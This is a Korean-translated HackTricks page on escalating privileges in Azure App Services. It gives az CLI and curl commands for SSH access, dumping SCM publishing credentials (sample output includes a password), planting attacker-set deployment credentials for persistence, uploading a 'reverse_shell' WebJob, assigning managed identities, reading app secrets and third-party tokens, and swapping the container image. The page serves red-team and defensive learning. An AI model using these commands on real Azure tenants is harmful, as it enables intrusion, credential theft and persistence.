Az - App Services Privesc
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
App Services
Azure App 서비스에 대한 자세한 정보는 다음을 확인하세요:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
이 권한은 웹 앱 내에서 SSH 셸에 접근할 수 있게 해줍니다. 또한 애플리케이션을 디버그할 수 있게 해줍니다.
- 단일 명령으로 SSH:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- 터널을 생성한 후 SSH에 연결:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- 애플리케이션 디버깅:
- VScode에 Azure 확장을 설치합니다.
- Azure 계정으로 확장에 로그인합니다.
- 구독 내 모든 App 서비스를 나열합니다.
- 디버깅할 App 서비스를 선택하고, 마우스 오른쪽 버튼을 클릭한 후 "디버깅 시작"을 선택합니다.
- 앱에 디버깅이 활성화되어 있지 않으면, 확장이 이를 활성화하려고 시도하지만, 귀하의 계정은 이를 수행하기 위해
Microsoft.Web/sites/config/write
권한이 필요합니다.
SCM 자격 증명 얻기 및 기본 인증 활성화
SCM 자격 증명을 얻으려면 다음 명령 및 권한을 사용할 수 있습니다:
- 권한 **
Microsoft.Web/sites/publishxml/action
**은 호출을 허용합니다:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
사용자 이름은 항상 동일합니다 (FTP에서는 앱 이름이 앞에 추가됨) 하지만 비밀번호는 모두 동일합니다.
또한, **SCM URL은 <app-name>.scm.azurewebsites.net
**입니다.
- 권한 **
Microsoft.Web/sites/config/list/action
**은 호출을 허용합니다:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
자격 증명이 이전 명령과 동일하다는 점에 유의하세요.
- 또 다른 옵션은 자신의 자격 증명을 설정하고 사용하는 것입니다:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
그런 다음, 이 자격 증명을 사용하여 SCM 및 FTP 플랫폼에 액세스할 수 있습니다. 이는 지속성을 유지하는 훌륭한 방법이기도 합니다.
웹에서 SCM 플랫폼에 액세스하려면 <SCM-URL>/BasicAuth
에 액세스해야 합니다.
warning
모든 사용자가 이전 명령을 호출하여 자신의 자격 증명을 구성할 수 있지만, 사용자가 SCM 또는 FTP에 액세스할 수 있는 충분한 권한이 없으면 자격 증명이 작동하지 않습니다.
- 자격 증명이 REDACTED로 표시되면, 이는 SCM 기본 인증 옵션을 활성화해야 하기 때문이며, 이를 위해 두 번째 권한(
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)이 필요합니다:
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
SCM 자격 증명을 사용하여 코드 게시
유효한 SCM 자격 증명만 있으면 코드를 App 서비스에 게시할 수 있습니다. 이는 다음 명령을 사용하여 수행할 수 있습니다.
이 파이썬 예제를 위해 https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart에서 리포를 다운로드하고 원하는 변경을 한 다음 **zip -r app.zip .
**을 실행하여 압축할 수 있습니다.
그런 다음 다음 명령을 사용하여 웹 앱에 코드를 게시할 수 있습니다:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM 자격 증명
언급된 Azure 권한은 SCM 자격 증명으로 수행할 수 있는 여러 흥미로운 작업을 수행할 수 있습니다:
- Webjobs 로그 읽기:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Webjobs 소스 코드를 읽어보세요:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- 지속적인 Webjob 생성:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
이 권한은 관리형 ID를 App 서비스에 할당할 수 있게 하므로, 만약 App 서비스가 이전에 침해되었다면 공격자는 App 서비스에 새로운 관리형 ID를 할당하고 권한을 상승시킬 수 있습니다.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
이 권한은 데이터베이스 자격 증명과 같은 민감한 정보를 포함할 수 있는 App 서비스의 connection strings 및 appsettings를 나열할 수 있게 해줍니다.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
구성된 제3자 자격 증명 읽기
다음 명령을 실행하면 현재 계정에 구성된 제3자 자격 증명을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자에서 토큰에 접근할 수 없음을 유의하십시오.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다.
여기 토큰을 확인하기 위한 몇 가지 명령 예가 있습니다:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Update App Code from the source
- 만약 설정된 소스가 Github, BitBucket 또는 Azure Repository와 같은 제3자 제공업체인 경우, 리포지토리의 소스 코드를 손상시켜 앱 서비스의 코드를 업데이트할 수 있습니다.
- 앱이 원격 git 리포지토리(사용자 이름과 비밀번호 포함)를 사용하도록 구성된 경우, URL 및 기본 인증 자격 증명을 얻어 클론하고 변경 사항을 푸시할 수 있습니다:
- 권한
Microsoft.Web/sites/sourcecontrols/read
사용:az webapp deployment source show --name <app-name> --resource-group <res-group>
- 권한
Microsoft.Web/sites/config/list/action
사용: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
- 앱이 로컬 git 리포지토리를 사용하도록 구성된 경우, 리포지토리를 클론하고 변경 사항을 푸시할 수 있습니다:
- 권한
Microsoft.Web/sites/sourcecontrols/read
사용:az webapp deployment source show --name <app-name> --resource-group <res-group>
로 git 리포지토리의 URL을 얻을 수 있지만, 이는 앱의 SCM URL과 동일하며 경로는/<app-name>.git
입니다 (예:https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git
). - SCM 자격 증명을 얻으려면 다음 권한이 필요합니다:
Microsoft.Web/sites/publishxml/action
: 그런 다음az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
을 실행합니다.Microsoft.Web/sites/config/list/action
: 그런 다음az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
을 실행합니다.
warning
권한 Microsoft.Web/sites/config/list/action
과 SCM 자격 증명을 가지고 있으면, 이전 섹션에서 언급한 바와 같이 제3자 제공업체를 사용하도록 구성된 경우에도 웹앱에 배포하는 것이 항상 가능합니다.
warning
아래 권한을 가지고 있으면 웹앱이 다르게 구성되었더라도 임의의 컨테이너를 실행하는 것이 가능합니다.
Microsoft.Web/sites/config/Write
, Microsoft.Web/sites/config/Read
, Microsoft.Web/sites/config/list/Action
, Microsoft.Web/sites/Read
이 권한 세트는 웹앱에서 사용되는 컨테이너를 수정할 수 있게 해줍니다. 공격자는 이를 악용하여 웹앱이 악성 컨테이너를 실행하도록 만들 수 있습니다.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.